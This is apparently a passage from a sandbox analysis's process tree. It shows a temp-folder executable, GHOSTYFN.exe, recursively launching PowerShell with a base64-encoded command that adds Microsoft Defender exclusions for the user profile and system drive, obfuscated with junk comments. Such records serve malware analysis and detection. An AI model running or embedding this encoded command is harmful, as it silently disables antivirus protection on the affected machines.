        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        176⤵
        
        PID:8056
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        176⤵
        
        PID:7296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        177⤵
        
        PID:7728
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        177⤵
        
        PID:5728
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        178⤵
        
        PID:2972
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        178⤵
        
        PID:1140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        179⤵
        
        PID:4124
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        179⤵
        
        PID:5788
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        180⤵
        
        PID:5780
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        180⤵
        
        PID:4688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        181⤵
        
        PID:3740
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        181⤵
        
        PID:7428
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        182⤵
        
        PID:4852
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        182⤵
        
        PID:3648
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        183⤵
        
        PID:6444
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        183⤵
        
        PID:7516
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        184⤵
        
        PID:2640
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        184⤵
        
        PID:888
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        185⤵
        
        PID:7840
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        185⤵
        
        PID:6120
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        186⤵
        
        PID:2264
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        186⤵
        
        PID:6588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        187⤵
        
        PID:2932
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        187⤵
        
        PID:5132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        188⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        188⤵
        
        PID:3112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        189⤵
        
        PID:7672
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        189⤵
        
        PID:7920
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        190⤵
        
        PID:5536
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        190⤵
        
        PID:8120
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        191⤵
        
        PID:8020
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        191⤵
        
        PID:6200
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        192⤵
        
        PID:3936
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        192⤵
        
        PID:7548
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        193⤵
        
        PID:6624
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        193⤵
        
        PID:3068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        194⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        194⤵
        
        PID:6288
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        195⤵
        
        PID:348
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        195⤵
        
        PID:5352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        196⤵
        
        PID:5624
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        196⤵
        
        PID:6472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        197⤵
        
        PID:7236
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        197⤵
        
        PID:556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        198⤵
        
        PID:8
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        198⤵
        
        PID:4052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        199⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        199⤵
        
        PID:5020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        200⤵
        
        PID:3136
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        200⤵
        
        PID:8068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        201⤵
        
        PID:7412
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        201⤵
        
        PID:2052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        202⤵
        
        PID:4604
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        202⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        203⤵
        
        PID:5756
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        203⤵
        
        PID:2592
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        204⤵
        
        PID:936
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        204⤵
        
        PID:5940
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        205⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        205⤵
        
        PID:4840
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        206⤵
        
        PID:2744
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        206⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        207⤵
        
        PID:6164
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        207⤵
        
        PID:4292
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
